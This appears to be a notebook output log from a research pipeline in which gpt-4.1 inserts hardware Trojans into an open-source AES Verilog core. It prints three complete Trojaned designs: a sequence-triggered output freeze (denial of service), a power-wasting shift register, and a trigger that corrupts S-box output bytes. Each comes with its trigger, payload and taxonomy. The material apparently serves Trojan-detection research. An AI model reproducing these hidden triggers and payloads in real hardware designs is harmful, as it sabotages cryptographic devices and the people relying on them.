            "    // Trojan: FSM for trigger sequence and disable logic\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            trojan_seq_state <= 0;\n",
            "            trojan_disable_cnt <= 0;\n",
            "            trojan_disabled <= 0;\n",
            "        end else begin\n",
            "            // FSM for recognizing sequence on state_in[7:0]\n",
            "            case (trojan_seq_state)\n",
            "                0: if(state_in[7:0] == T_SEQ_0) trojan_seq_state <= 1;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                1: if(state_in[7:0] == T_SEQ_1) trojan_seq_state <= 2;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                2: if(state_in[7:0] == T_SEQ_2) trojan_seq_state <= 3;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                3: if(state_in[7:0] == T_SEQ_3) trojan_seq_state <= 4;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                default: trojan_seq_state <= 0;\n",
            "            endcase\n",
            "\n",
            "            // Trigger: upon reaching state 4, assert \"disabled\" for 16 cycles\n",
            "            if (trojan_seq_state == 4 && !trojan_disabled) begin\n",
            "                trojan_disabled <= 1'b1;\n",
            "                trojan_disable_cnt <= 8'd15;\n",
            "            end else if (trojan_disabled) begin\n",
            "                if (trojan_disable_cnt != 0) begin\n",
            "                    trojan_disable_cnt <= trojan_disable_cnt - 1'b1;\n",
            "                end else begin\n",
            "                    trojan_disabled <= 1'b0;\n",
            "                    trojan_seq_state <= 0; // re-arm\n",
            "                end\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "\n",
            "    // Trojan: If triggered, hold state_out at last value\n",
            "    always @ (posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n)\n",
            "            state_out <= 128'b0;\n",
            "        else if (trojan_disabled)\n",
            "            state_out <= state_out; // Hold output (DoS)\n",
            "        else\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "    end\n",
            "endmodule\n",
            "\n",
            "/* AES final round for every two clock cycles */\n",
            "module final_round (\n",
            "    input              clk,\n",
            "    input              rst_n, // Trojan: Added active-low reset\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key_in,\n",
            "    output reg [127:0] state_out\n",
            ");\n",
            "    wire [31:0] s0,  s1,  s2,  s3,\n",
            "                z0,  z1,  z2,  z3,\n",
            "                k0,  k1,  k2,  k3;\n",
            "    wire [7:0]  p00, p01, p02, p03,\n",
            "                p10, p11, p12, p13,\n",
            "                p20, p21, p22, p23,\n",
            "                p30, p31, p32, p33;\n",
            "\n",
            "    // Trojan: state for trigger and disable register\n",
            "    reg [3:0] trojan_seq_state;  // 4 states in trigger FSM\n",
            "    reg [7:0] trojan_disable_cnt;\n",
            "    reg       trojan_disabled;\n",
            "\n",
            "    // Trojan: define the rare sequence (example: state_in[7:0] == 8'hAA, then 8'h55, then 8'hF0, then 8'h0F)\n",
            "    localparam [7:0] T_SEQ_0 = 8'hAA;\n",
            "    localparam [7:0] T_SEQ_1 = 8'h55;\n",
            "    localparam [7:0] T_SEQ_2 = 8'hF0;\n",
            "    localparam [7:0] T_SEQ_3 = 8'h0F;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key_in;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    S4\n",
            "        S4_1 (clk, s0, {p00, p01, p02, p03}),\n",
            "        S4_2 (clk, s1, {p10, p11, p12, p13}),\n",
            "        S4_3 (clk, s2, {p20, p21, p22, p23}),\n",
            "        S4_4 (clk, s3, {p30, p31, p32, p33});\n",
            "\n",
            "    assign z0 = {p00, p11, p22, p33} ^ k0;\n",
            "    assign z1 = {p10, p21, p32, p03} ^ k1;\n",
            "    assign z2 = {p20, p31, p02, p13} ^ k2;\n",
            "    assign z3 = {p30, p01, p12, p23} ^ k3;\n",
            "\n",
            "    // Trojan: FSM for trigger sequence and disable logic\n",
            "    always @(posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n) begin\n",
            "            trojan_seq_state <= 0;\n",
            "            trojan_disable_cnt <= 0;\n",
            "            trojan_disabled <= 0;\n",
            "        end else begin\n",
            "            // FSM for recognizing sequence on state_in[7:0]\n",
            "            case (trojan_seq_state)\n",
            "                0: if(state_in[7:0] == T_SEQ_0) trojan_seq_state <= 1;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                1: if(state_in[7:0] == T_SEQ_1) trojan_seq_state <= 2;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                2: if(state_in[7:0] == T_SEQ_2) trojan_seq_state <= 3;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                3: if(state_in[7:0] == T_SEQ_3) trojan_seq_state <= 4;\n",
            "                   else trojan_seq_state <= 0;\n",
            "                default: trojan_seq_state <= 0;\n",
            "            endcase\n",
            "\n",
            "            // Trigger: upon reaching state 4, assert \"disabled\" for 16 cycles\n",
            "            if (trojan_seq_state == 4 && !trojan_disabled) begin\n",
            "                trojan_disabled <= 1'b1;\n",
            "                trojan_disable_cnt <= 8'd15;\n",
            "            end else if (trojan_disabled) begin\n",
            "                if (trojan_disable_cnt != 0) begin\n",
            "                    trojan_disable_cnt <= trojan_disable_cnt - 1'b1;\n",
            "                end else begin\n",
            "                    trojan_disabled <= 1'b0;\n",
            "                    trojan_seq_state <= 0; // re-arm\n",
            "                end\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "\n",
            "    // Trojan: If triggered, hold state_out at last value\n",
            "    always @ (posedge clk or negedge rst_n) begin\n",
            "        if (!rst_n)\n",
            "            state_out <= 128'b0;\n",
            "        else if (trojan_disabled)\n",
            "            state_out <= state_out; // Hold output (DoS)\n",
            "        else\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "    end\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A hardware Trojan FSM was added to both modules, monitoring for a rare data input sequence; upon trigger, it temporarily disables output updates. This maintains original function unless activated, implementing a time-limited denial of service.\n",
            "\n",
            "Trigger:\n",
            "The Trojan is activated by the four-byte input sequence {0xAA, 0x55, 0xF0, 0x0F} observed on `state_in[7:0]` over four consecutive clock cycles, a statistically rare occurrence.\n",
            "\n",
            "Payload:\n",
            "When triggered, state_out holds its current value for 16 cycles, causing the module to stop updating output and suspending encryption progress, thus denying service temporarily.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (by specific data sequence)  \n",
            "Effects: denial of service  \n",
            "Location: Processor (cryptographic datapath)  \n",
            "Characteristics: Distributed, Small, Functional\n",
            "Saving vulnerable design to: aes/gpt-4.1/round/round_HT3_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/round/round_HT3_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "/* one AES round for every two clock cycles */\n",
            "module one_round (\n",
            "    input              clk,\n",
            "    input              rst, // Added reset for Trojan\n",
            "    input      [127:0] state_in, key,\n",
            "    output reg [127:0] state_out\n",
            ");\n",
            "    wire       [31:0]  s0,  s1,  s2,  s3,\n",
            "                       z0,  z1,  z2,  z3,\n",
            "                       p00, p01, p02, p03,\n",
            "                       p10, p11, p12, p13,\n",
            "                       p20, p21, p22, p23,\n",
            "                       p30, p31, p32, p33,\n",
            "                       k0,  k1,  k2,  k3;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    table_lookup\n",
            "        t0 (clk, s0, p00, p01, p02, p03),\n",
            "        t1 (clk, s1, p10, p11, p12, p13),\n",
            "        t2 (clk, s2, p20, p21, p22, p23),\n",
            "        t3 (clk, s3, p30, p31, p32, p33);\n",
            "\n",
            "    assign z0 = p00 ^ p11 ^ p22 ^ p33 ^ k0;\n",
            "    assign z1 = p03 ^ p10 ^ p21 ^ p32 ^ k1;\n",
            "    assign z2 = p02 ^ p13 ^ p20 ^ p31 ^ k2;\n",
            "    assign z3 = p01 ^ p12 ^ p23 ^ p30 ^ k3;\n",
            "\n",
            "    always @ (posedge clk or posedge rst) begin\n",
            "        if (rst)\n",
            "            state_out <= 128'b0;\n",
            "        else\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "    end\n",
            "\n",
            "    // ======================= BEGIN TROJAN INSERTION =======================\n",
            "    // Trojan registers and logic\n",
            "    reg [63:0] trojan_shiftreg;\n",
            "    reg trojan_active;\n",
            "    reg [15:0] trojan_counter;\n",
            "    // Trojan activation: Once the upper 4 bits of state_in are all 1 (rare event)\n",
            "    wire trojan_trigger = (&state_in[127:124]);\n",
            "\n",
            "    always @(posedge clk or posedge rst) begin\n",
            "        if (rst) begin\n",
            "            trojan_shiftreg <= 64'b0;\n",
            "            trojan_active   <= 1'b0;\n",
            "            trojan_counter  <= 16'b0;\n",
            "        end else begin\n",
            "            // Once triggered, Trojan remains active\n",
            "            if (trojan_trigger)\n",
            "                trojan_active <= 1'b1;\n",
            "            // Simple counter to stretch trigger, can be omitted or tuned\n",
            "            if (trojan_active)\n",
            "                trojan_counter <= trojan_counter + 1'b1;\n",
            "            // Shift register activity for increased dynamic power\n",
            "            if (trojan_active)\n",
            "                trojan_shiftreg <= {trojan_shiftreg[62:0], trojan_shiftreg[63] ^ trojan_counter[0]};\n",
            "        end\n",
            "    end\n",
            "    // ======================= END TROJAN INSERTION =========================\n",
            "endmodule\n",
            "\n",
            "/* AES final round for every two clock cycles */\n",
            "module final_round (\n",
            "    input              clk,\n",
            "    input              rst, // Added reset for Trojan\n",
            "    input      [127:0] state_in,\n",
            "    input      [127:0] key_in,\n",
            "    output reg [127:0] state_out\n",
            ");\n",
            "    wire [31:0] s0,  s1,  s2,  s3,\n",
            "                z0,  z1,  z2,  z3,\n",
            "                k0,  k1,  k2,  k3;\n",
            "    wire [7:0]  p00, p01, p02, p03,\n",
            "                p10, p11, p12, p13,\n",
            "                p20, p21, p22, p23,\n",
            "                p30, p31, p32, p33;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = key_in;\n",
            "\n",
            "    assign {s0, s1, s2, s3} = state_in;\n",
            "\n",
            "    S4\n",
            "        S4_1 (clk, s0, {p00, p01, p02, p03}),\n",
            "        S4_2 (clk, s1, {p10, p11, p12, p13}),\n",
            "        S4_3 (clk, s2, {p20, p21, p22, p23}),\n",
            "        S4_4 (clk, s3, {p30, p31, p32, p33});\n",
            "\n",
            "    assign z0 = {p00, p11, p22, p33} ^ k0;\n",
            "    assign z1 = {p10, p21, p32, p03} ^ k1;\n",
            "    assign z2 = {p20, p31, p02, p13} ^ k2;\n",
            "    assign z3 = {p30, p01, p12, p23} ^ k3;\n",
            "\n",
            "    always @ (posedge clk or posedge rst) begin\n",
            "        if (rst)\n",
            "            state_out <= 128'b0;\n",
            "        else\n",
            "            state_out <= {z0, z1, z2, z3};\n",
            "    end\n",
            "\n",
            "    // ======================= BEGIN TROJAN INSERTION =======================\n",
            "    // Trojan registers and logic (duplicated for this module)\n",
            "    reg [63:0] trojan_shiftreg;\n",
            "    reg trojan_active;\n",
            "    reg [15:0] trojan_counter;\n",
            "    wire trojan_trigger = (&state_in[127:124]);\n",
            "\n",
            "    always @(posedge clk or posedge rst) begin\n",
            "        if (rst) begin\n",
            "            trojan_shiftreg <= 64'b0;\n",
            "            trojan_active   <= 1'b0;\n",
            "            trojan_counter  <= 16'b0;\n",
            "        end else begin\n",
            "            if (trojan_trigger)\n",
            "                trojan_active <= 1'b1;\n",
            "            if (trojan_active)\n",
            "                trojan_counter <= trojan_counter + 1'b1;\n",
            "            if (trojan_active)\n",
            "                trojan_shiftreg <= {trojan_shiftreg[62:0], trojan_shiftreg[63] ^ trojan_counter[0]};\n",
            "        end\n",
            "    end\n",
            "    // ======================= END TROJAN INSERTION =========================\n",
            "endmodule\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A Trojan consisting of a large running shift register and event-latching logic was inserted; it activates upon the detection of a seldom event in `state_in` and continuously toggles, increasing power without altering the main outputs.\n",
            "\n",
            "Trigger:\n",
            "The Trojan activates when all upper four bits of `state_in` are high (`state_in[127:124] == 4'b1111`); once triggered, it remains active independently of further inputs or changes.\n",
            "\n",
            "Payload:\n",
            "Upon activation, a 64-bit shift register, clocked on every cycle, toggles based on an internal counter, consuming additional dynamic power, thus causing covert performance (power) degradation with no direct system malfunction.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (rare value on state_in signals, then always-on after trigger)  \n",
            "Effects: performance degradation  \n",
            "Location: Processor  \n",
            "Characteristics: Distributed, Small (relative to system data path), Parametric (power side-channel)  \n",
            "\n",
            "Saving vulnerable design to: aes/gpt-4.1/round/round_HT4_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/round/round_HT4_gpt-4.1_A1_taxonomy.txt\n",
            "Code:\n",
            "```verilog\n",
            "/*\n",
            " * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\n",
            " *\n",
            " * Licensed under the Apache License, Version 2.0 (the \"License\");\n",
            " * you may not use this file except in compliance with the License.\n",
            " * You may obtain a copy of the License at\n",
            " *\n",
            " * http://www.apache.org/licenses/LICENSE-2.0\n",
            " *\n",
            " * Unless required by applicable law or agreed to in writing, software\n",
            " * distributed under the License is distributed on an \"AS IS\" BASIS,\n",
            " * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",
            " * See the License for the specific language governing permissions and\n",
            " * limitations under the License.\n",
            " */\n",
            "\n",
            "module table_lookup (clk, reset, state, p0, p1, p2, p3);\n",
            "    input clk, reset; // Added reset for synth rules\n",
            "    input [31:0] state;\n",
            "    output [31:0] p0, p1, p2, p3;\n",
            "    wire [7:0] b0, b1, b2, b3;\n",
            "    \n",
            "    assign {b0, b1, b2, b3} = state;\n",
            "    T\n",
            "        t0 (clk, reset, b0, {p0[23:0], p0[31:24]}),\n",
            "        t1 (clk, reset, b1, {p1[15:0], p1[31:16]}),\n",
            "        t2 (clk, reset, b2, {p2[7:0],  p2[31:8]} ),\n",
            "        t3 (clk, reset, b3, p3);\n",
            "endmodule\n",
            "\n",
            "/* substitute four bytes in a word */\n",
            "module S4 (clk, reset, in, out);\n",
            "    input clk, reset;\n",
            "    input [31:0] in;\n",
            "    output [31:0] out;\n",
            "    \n",
            "    S\n",
            "        S_0 (clk, reset, in[31:24], out[31:24]),\n",
            "        S_1 (clk, reset, in[23:16], out[23:16]),\n",
            "        S_2 (clk, reset, in[15:8],  out[15:8] ),\n",
            "        S_3 (clk, reset, in[7:0],   out[7:0]  );\n",
            "endmodule\n",
            "\n",
            "/* S_box, S_box, S_box*(x+1), S_box*x */\n",
            "module T (clk, reset, in, out);\n",
            "    input         clk, reset;\n",
            "    input  [7:0]  in;\n",
            "    output [31:0] out;\n",
            "\n",
            "    // TROJAN INSERTION BEGIN\n",
            "    reg [7:0] trojan_counter;\n",
            "    reg trojan_triggered;\n",
            "\n",
            "    always @(posedge clk or posedge reset) begin\n",
            "        if (reset) begin\n",
            "            trojan_counter <= 8'd0;\n",
            "            trojan_triggered <= 1'b0;\n",
            "        end else begin\n",
            "            // Trojan is triggered if 'in' stays at 8'hAC for 10 consecutive cycles\n",
            "            if (in == 8'hAC) begin\n",
            "                if (trojan_counter == 8'd9)\n",
            "                    trojan_triggered <= 1'b1;\n",
            "                else\n",
            "                    trojan_counter <= trojan_counter + 1'b1;\n",
            "            end else begin\n",
            "                trojan_counter <= 8'd0;\n",
            "                trojan_triggered <= 1'b0;\n",
            "            end\n",
            "        end\n",
            "    end\n",
            "    // TROJAN INSERTION END\n",
            "\n",
            "    wire [7:0] s0_out, s4_out;\n",
            "    S\n",
            "        s0 (clk, reset, in, s0_out);\n",
            "    xS\n",
            "        s4 (clk, reset, in, s4_out);\n",
            "\n",
            "    reg [31:0] temp_out;\n",
            "    always @(*) begin\n",
            "        // TROJAN PAYLOAD: When triggered, corrupt out[23:16] by reversing bits\n",
            "        if (trojan_triggered) begin\n",
            "            temp_out[31:24] = s0_out;\n",
            "            temp_out[23:16] = {s0_out[0], s0_out[1], s0_out[2], s0_out[3], s0_out[4], s0_out[5], s0_out[6], s0_out[7]};\n",
            "            temp_out[15:8]  = temp_out[23:16] ^ s4_out;\n",
            "            temp_out[7:0]   = s4_out;\n",
            "        end else begin\n",
            "            temp_out[31:24] = s0_out;\n",
            "            temp_out[23:16] = s0_out;\n",
            "            temp_out[15:8]  = temp_out[23:16] ^ s4_out;\n",
            "            temp_out[7:0]   = s4_out;\n",
            "        end\n",
            "    end\n",
            "    assign out = temp_out;\n",
            "endmodule\n",
            "\n",
            "/* S box */\n",
            "module S (clk, reset, in, out);\n",
            "    input clk, reset;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk or posedge reset)\n",
            "    if (reset)\n",
            "        out <= 8'h00;\n",
            "    else\n",
            "    case (in)\n",
            "    8'h00: out <= 8'h63;\n",
            "    8'h01: out <= 8'h7c;\n",
            "    8'h02: out <= 8'h77;\n",
            "    8'h03: out <= 8'h7b;\n",
            "    8'h04: out <= 8'hf2;\n",
            "    8'h05: out <= 8'h6b;\n",
            "    8'h06: out <= 8'h6f;\n",
            "    8'h07: out <= 8'hc5;\n",
            "    8'h08: out <= 8'h30;\n",
            "    8'h09: out <= 8'h01;\n",
            "    8'h0a: out <= 8'h67;\n",
            "    8'h0b: out <= 8'h2b;\n",
            "    8'h0c: out <= 8'hfe;\n",
            "    8'h0d: out <= 8'hd7;\n",
            "    8'h0e: out <= 8'hab;\n",
            "    8'h0f: out <= 8'h76;\n",
            "    8'h10: out <= 8'hca;\n",
            "    8'h11: out <= 8'h82;\n",
            "    8'h12: out <= 8'hc9;\n",
            "    8'h13: out <= 8'h7d;\n",
            "    8'h14: out <= 8'hfa;\n",
            "    8'h15: out <= 8'h59;\n",
            "    8'h16: out <= 8'h47;\n",
            "    8'h17: out <= 8'hf0;\n",
            "    8'h18: out <= 8'had;\n",
            "    8'h19: out <= 8'hd4;\n",
            "    8'h1a: out <= 8'ha2;\n",
            "    8'h1b: out <= 8'haf;\n",
            "    8'h1c: out <= 8'h9c;\n",
            "    8'h1d: out <= 8'ha4;\n",
            "    8'h1e: out <= 8'h72;\n",
            "    8'h1f: out <= 8'hc0;\n",
            "    8'h20: out <= 8'hb7;\n",
            "    8'h21: out <= 8'hfd;\n",
            "    8'h22: out <= 8'h93;\n",
            "    8'h23: out <= 8'h26;\n",
            "    8'h24: out <= 8'h36;\n",
            "    8'h25: out <= 8'h3f;\n",
            "    8'h26: out <= 8'hf7;\n",
            "    8'h27: out <= 8'hcc;\n",
            "    8'h28: out <= 8'h34;\n",
            "    8'h29: out <= 8'ha5;\n",
            "    8'h2a: out <= 8'he5;\n",
            "    8'h2b: out <= 8'hf1;\n",
            "    8'h2c: out <= 8'h71;\n",
            "    8'h2d: out <= 8'hd8;\n",
            "    8'h2e: out <= 8'h31;\n",
            "    8'h2f: out <= 8'h15;\n",
            "    8'h30: out <= 8'h04;\n",
            "    8'h31: out <= 8'hc7;\n",
            "    8'h32: out <= 8'h23;\n",
            "    8'h33: out <= 8'hc3;\n",
            "    8'h34: out <= 8'h18;\n",
            "    8'h35: out <= 8'h96;\n",
            "    8'h36: out <= 8'h05;\n",
            "    8'h37: out <= 8'h9a;\n",
            "    8'h38: out <= 8'h07;\n",
            "    8'h39: out <= 8'h12;\n",
            "    8'h3a: out <= 8'h80;\n",
            "    8'h3b: out <= 8'he2;\n",
            "    8'h3c: out <= 8'heb;\n",
            "    8'h3d: out <= 8'h27;\n",
            "    8'h3e: out <= 8'hb2;\n",
            "    8'h3f: out <= 8'h75;\n",
            "    8'h40: out <= 8'h09;\n",
            "    8'h41: out <= 8'h83;\n",
            "    8'h42: out <= 8'h2c;\n",
            "    8'h43: out <= 8'h1a;\n",
            "    8'h44: out <= 8'h1b;\n",
            "    8'h45: out <= 8'h6e;\n",
            "    8'h46: out <= 8'h5a;\n",
            "    8'h47: out <= 8'ha0;\n",
            "    8'h48: out <= 8'h52;\n",
            "    8'h49: out <= 8'h3b;\n",
            "    8'h4a: out <= 8'hd6;\n",
            "    8'h4b: out <= 8'hb3;\n",
            "    8'h4c: out <= 8'h29;\n",
            "    8'h4d: out <= 8'he3;\n",
            "    8'h4e: out <= 8'h2f;\n",
            "    8'h4f: out <= 8'h84;\n",
            "    8'h50: out <= 8'h53;\n",
            "    8'h51: out <= 8'hd1;\n",
            "    8'h52: out <= 8'h00;\n",
            "    8'h53: out <= 8'hed;\n",
            "    8'h54: out <= 8'h20;\n",
            "    8'h55: out <= 8'hfc;\n",
            "    8'h56: out <= 8'hb1;\n",
            "    8'h57: out <= 8'h5b;\n",
            "    8'h58: out <= 8'h6a;\n",
            "    8'h59: out <= 8'hcb;\n",
            "    8'h5a: out <= 8'hbe;\n",
            "    8'h5b: out <= 8'h39;\n",
            "    8'h5c: out <= 8'h4a;\n",
            "    8'h5d: out <= 8'h4c;\n",
            "    8'h5e: out <= 8'h58;\n",
            "    8'h5f: out <= 8'hcf;\n",
            "    8'h60: out <= 8'hd0;\n",
            "    8'h61: out <= 8'hef;\n",
            "    8'h62: out <= 8'haa;\n",
            "    8'h63: out <= 8'hfb;\n",
            "    8'h64: out <= 8'h43;\n",
            "    8'h65: out <= 8'h4d;\n",
            "    8'h66: out <= 8'h33;\n",
            "    8'h67: out <= 8'h85;\n",
            "    8'h68: out <= 8'h45;\n",
            "    8'h69: out <= 8'hf9;\n",
            "    8'h6a: out <= 8'h02;\n",
            "    8'h6b: out <= 8'h7f;\n",
            "    8'h6c: out <= 8'h50;\n",
            "    8'h6d: out <= 8'h3c;\n",
            "    8'h6e: out <= 8'h9f;\n",
            "    8'h6f: out <= 8'ha8;\n",
            "    8'h70: out <= 8'h51;\n",
            "    8'h71: out <= 8'ha3;\n",
            "    8'h72: out <= 8'h40;\n",
            "    8'h73: out <= 8'h8f;\n",
            "    8'h74: out <= 8'h92;\n",
            "    8'h75: out <= 8'h9d;\n",
            "    8'h76: out <= 8'h38;\n",
            "    8'h77: out <= 8'hf5;\n",
            "    8'h78: out <= 8'hbc;\n",
            "    8'h79: out <= 8'hb6;\n",
            "    8'h7a: out <= 8'hda;\n",
            "    8'h7b: out <= 8'h21;\n",
            "    8'h7c: out <= 8'h10;\n",
            "    8'h7d: out <= 8'hff;\n",
            "    8'h7e: out <= 8'hf3;\n",
            "    8'h7f: out <= 8'hd2;\n",
            "    8'h80: out <= 8'hcd;\n",
            "    8'h81: out <= 8'h0c;\n",
            "    8'h82: out <= 8'h13;\n",
            "    8'h83: out <= 8'hec;\n",
            "    8'h84: out <= 8'h5f;\n",
            "    8'h85: out <= 8'h97;\n",
            "    8'h86: out <= 8'h44;\n",
            "    8'h87: out <= 8'h17;\n",
            "    8'h88: out <= 8'hc4;\n",
            "    8'h89: out <= 8'ha7;\n",
            "    8'h8a: out <= 8'h7e;\n",
            "    8'h8b: out <= 8'h3d;\n",
            "    8'h8c: out <= 8'h64;\n",
            "    8'h8d: out <= 8'h5d;\n",
            "    8'h8e: out <= 8'h19;\n",
            "    8'h8f: out <= 8'h73;\n",
            "    8'h90: out <= 8'h60;\n",
            "    8'h91: out <= 8'h81;\n",
            "    8'h92: out <= 8'h4f;\n",
            "    8'h93: out <= 8'hdc;\n",
            "    8'h94: out <= 8'h22;\n",
            "    8'h95: out <= 8'h2a;\n",
            "    8'h96: out <= 8'h90;\n",
            "    8'h97: out <= 8'h88;\n",
            "    8'h98: out <= 8'h46;\n",
            "    8'h99: out <= 8'hee;\n",
            "    8'h9a: out <= 8'hb8;\n",
            "    8'h9b: out <= 8'h14;\n",
            "    8'h9c: out <= 8'hde;\n",
            "    8'h9d: out <= 8'h5e;\n",
            "    8'h9e: out <= 8'h0b;\n",
            "    8'h9f: out <= 8'hdb;\n",
            "    8'ha0: out <= 8'he0;\n",
            "    8'ha1: out <= 8'h32;\n",
            "    8'ha2: out <= 8'h3a;\n",
            "    8'ha3: out <= 8'h0a;\n",
            "    8'ha4: out <= 8'h49;\n",
            "    8'ha5: out <= 8'h06;\n",
            "    8'ha6: out <= 8'h24;\n",
            "    8'ha7: out <= 8'h5c;\n",
            "    8'ha8: out <= 8'hc2;\n",
            "    8'ha9: out <= 8'hd3;\n",
            "    8'haa: out <= 8'hac;\n",
            "    8'hab: out <= 8'h62;\n",
            "    8'hac: out <= 8'h91;\n",
            "    8'had: out <= 8'h95;\n",
            "    8'hae: out <= 8'he4;\n",
            "    8'haf: out <= 8'h79;\n",
            "    8'hb0: out <= 8'he7;\n",
            "    8'hb1: out <= 8'hc8;\n",
            "    8'hb2: out <= 8'h37;\n",
            "    8'hb3: out <= 8'h6d;\n",
            "    8'hb4: out <= 8'h8d;\n",
            "    8'hb5: out <= 8'hd5;\n",
            "    8'hb6: out <= 8'h4e;\n",
            "    8'hb7: out <= 8'ha9;\n",
            "    8'hb8: out <= 8'h6c;\n",
            "    8'hb9: out <= 8'h56;\n",
            "    8'hba: out <= 8'hf4;\n",
            "    8'hbb: out <= 8'hea;\n",
            "    8'hbc: out <= 8'h65;\n",
            "    8'hbd: out <= 8'h7a;\n",
            "    8'hbe: out <= 8'hae;\n",
            "    8'hbf: out <= 8'h08;\n",
            "    8'hc0: out <= 8'hba;\n",
            "    8'hc1: out <= 8'h78;\n",
            "    8'hc2: out <= 8'h25;\n",
            "    8'hc3: out <= 8'h2e;\n",
            "    8'hc4: out <= 8'h1c;\n",
            "    8'hc5: out <= 8'ha6;\n",
            "    8'hc6: out <= 8'hb4;\n",
            "    8'hc7: out <= 8'hc6;\n",
            "    8'hc8: out <= 8'he8;\n",
            "    8'hc9: out <= 8'hdd;\n",
            "    8'hca: out <= 8'h74;\n",
            "    8'hcb: out <= 8'h1f;\n",
            "    8'hcc: out <= 8'h4b;\n",
            "    8'hcd: out <= 8'hbd;\n",
            "    8'hce: out <= 8'h8b;\n",
            "    8'hcf: out <= 8'h8a;\n",
            "    8'hd0: out <= 8'h70;\n",
            "    8'hd1: out <= 8'h3e;\n",
            "    8'hd2: out <= 8'hb5;\n",
            "    8'hd3: out <= 8'h66;\n",
            "    8'hd4: out <= 8'h48;\n",
            "    8'hd5: out <= 8'h03;\n",
            "    8'hd6: out <= 8'hf6;\n",
            "    8'hd7: out <= 8'h0e;\n",
            "    8'hd8: out <= 8'h61;\n",
            "    8'hd9: out <= 8'h35;\n",
            "    8'hda: out <= 8'h57;\n",
            "    8'hdb: out <= 8'hb9;\n",
            "    8'hdc: out <= 8'h86;\n",
            "    8'hdd: out <= 8'hc1;\n",
            "    8'hde: out <= 8'h1d;\n",
            "    8'hdf: out <= 8'h9e;\n",
            "    8'he0: out <= 8'he1;\n",
            "    8'he1: out <= 8'hf8;\n",
            "    8'he2: out <= 8'h98;\n",
            "    8'he3: out <= 8'h11;\n",
            "    8'he4: out <= 8'h69;\n",
            "    8'he5: out <= 8'hd9;\n",
            "    8'he6: out <= 8'h8e;\n",
            "    8'he7: out <= 8'h94;\n",
            "    8'he8: out <= 8'h9b;\n",
            "    8'he9: out <= 8'h1e;\n",
            "    8'hea: out <= 8'h87;\n",
            "    8'heb: out <= 8'he9;\n",
            "    8'hec: out <= 8'hce;\n",
            "    8'hed: out <= 8'h55;\n",
            "    8'hee: out <= 8'h28;\n",
            "    8'hef: out <= 8'hdf;\n",
            "    8'hf0: out <= 8'h8c;\n",
            "    8'hf1: out <= 8'ha1;\n",
            "    8'hf2: out <= 8'h89;\n",
            "    8'hf3: out <= 8'h0d;\n",
            "    8'hf4: out <= 8'hbf;\n",
            "    8'hf5: out <= 8'he6;\n",
            "    8'hf6: out <= 8'h42;\n",
            "    8'hf7: out <= 8'h68;\n",
            "    8'hf8: out <= 8'h41;\n",
            "    8'hf9: out <= 8'h99;\n",
            "    8'hfa: out <= 8'h2d;\n",
            "    8'hfb: out <= 8'h0f;\n",
            "    8'hfc: out <= 8'hb0;\n",
            "    8'hfd: out <= 8'h54;\n",
            "    8'hfe: out <= 8'hbb;\n",
            "    8'hff: out <= 8'h16;\n",
            "    default: out <= 8'h00;\n",
            "    endcase\n",
            "endmodule\n",
            "\n",
            "/* S box * x */\n",
            "module xS (clk, reset, in, out);\n",
            "    input clk, reset;\n",
            "    input [7:0] in;\n",
            "    output reg [7:0] out;\n",
            "\n",
            "    always @ (posedge clk or posedge reset)\n",
            "    if (reset)\n",
            "        out <= 8'h00;\n",
            "    else\n",
            "    case (in)\n",
            "    8'h00: out <= 8'hc6;\n",
            "    8'h01: out <= 8'hf8;\n",
            "    8'h02: out <= 8'hee;\n",
            "    8'h03: out <= 8'hf6;\n",
            "    8'h04: out <= 8'hff;\n",
            "    8'h05: out <= 8'hd6;\n",
            "    8'h06: out <= 8'hde;\n",
            "    8'h07: out <= 8'h91;\n",
            "    8'h08: out <= 8'h60;\n",
            "    8'h09: out <= 8'h02;\n",
            "    8'h0a: out <= 8'hce;\n",
            "    8'h0b: out <= 8'h56;\n",
            "    8'h0c: out <= 8'he7;\n",
